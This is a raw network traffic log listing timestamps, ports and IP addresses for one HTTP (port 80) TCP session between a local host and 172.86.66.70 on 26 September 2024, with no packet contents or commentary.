Sep 26, 2024 12:12:22.257291079 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257296085 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257302999 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257308960 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257320881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257327080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257359028 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257359028 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257458925 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257584095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257591009 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257601976 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257606983 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257616997 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257635117 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257685900 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257714033 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257719040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257725000 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257736921 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257741928 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257757902 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257798910 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257798910 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.257956982 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257962942 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257967949 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257973909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257985115 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257989883 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.257996082 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258002043 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258008003 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258008957 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258018970 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258022070 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258059978 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258059978 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258258104 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258263111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258274078 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258287907 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258292913 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258300066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258305073 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258348942 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258348942 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258531094 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258536100 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258557081 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258563042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258574009 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258579969 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258585930 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258591890 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258603096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258605003 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258605003 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258677006 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258863926 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258869886 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258882046 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258888006 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258928061 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258928061 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.258934021 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258941889 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258951902 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258959055 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258964062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258970022 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.258975983 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259005070 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.259026051 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.259440899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259447098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259452105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259457111 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259462118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259466887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259473085 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259484053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259489059 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259494066 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259506941 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259512901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259517908 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259521961 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259533882 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259540081 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259541988 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.259546995 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259552956 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259563923 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.259577990 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.259577990 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.259644985 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.260096073 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260102034 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260107040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260113001 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260118008 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260123968 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260134935 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260139942 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260145903 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260150909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260152102 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.260158062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260164022 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260169029 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260174990 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.260201931 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.260202885 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.260225058 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.291670084 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.291686058 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.291696072 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.291755915 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.291762114 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.291768074 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.291774035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.291781902 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.291831017 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.343453884 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343502998 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343508959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343595028 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343600035 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343601942 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.343605042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343663931 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.343663931 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.343683004 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343687057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343772888 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.343816042 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343827963 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343833923 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343884945 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.343887091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343892097 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343904018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.343946934 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.343959093 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344008923 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344105959 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344111919 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344122887 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344129086 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344157934 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344188929 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344223976 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344234943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344242096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344253063 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344316006 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344316006 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344347954 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344353914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344371080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344378948 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344412088 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344412088 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344540119 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344546080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344557047 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344563007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344573975 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344579935 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344590902 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344595909 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344595909 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344609022 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344630003 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344746113 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344785929 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344852924 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344891071 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344897985 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344902992 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344907999 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344918013 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344926119 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344935894 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344943047 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344948053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.344964027 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344964027 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.344988108 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.345138073 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345149040 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345237970 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.345273972 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345279932 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345292091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345297098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345302105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345309019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345319986 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345325947 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345330954 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345335960 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.345336914 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345390081 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.345390081 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.345606089 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345607996 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345654964 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.345659018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345664978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345676899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345684052 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345688105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345741987 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.345742941 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.345947027 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345952034 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345963955 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345968962 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345974922 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345980883 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345992088 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.345997095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346008062 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346012115 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346012115 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346033096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346038103 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346039057 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346045017 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346050978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346056938 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346064091 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346069098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346077919 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346077919 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346122980 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346123934 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346581936 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346591949 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346597910 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346607924 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346613884 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346623898 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346630096 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346633911 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346640110 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346646070 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346652031 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346662045 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346674919 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346674919 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346707106 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346707106 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.346870899 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346877098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.346944094 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.347028017 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347033978 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347044945 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347048998 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347055912 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347068071 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347071886 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347076893 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347083092 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347089052 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347094059 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347100019 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.347100019 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347100019 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.347106934 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347117901 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.347121954 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.347136974 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.347174883 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.347578049 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.378582001 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.378609896 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.378616095 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.378700972 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.378706932 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.378711939 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.378724098 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.378729105 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.378734112 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.378767967 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.378804922 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.430505991 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430526018 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430531979 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430639982 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430645943 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430655956 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430661917 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430671930 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.430699110 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.430708885 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.430762053 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430766106 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430775881 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430782080 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430785894 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430813074 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.430844069 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.430933952 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430939913 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430951118 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430953979 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.430991888 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.430991888 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.431391954 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431435108 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431440115 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431483030 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.431545973 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431550980 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431560993 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431566000 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431607008 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.431607008 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.431658030 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431663036 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431673050 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431726933 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.431726933 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.431766033 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431771994 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431782007 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431786060 CEST	80	49753	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:22.431822062 CEST	49753	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:22.431870937 CEST	49753	80	192.168.2.4	172.86.66.70
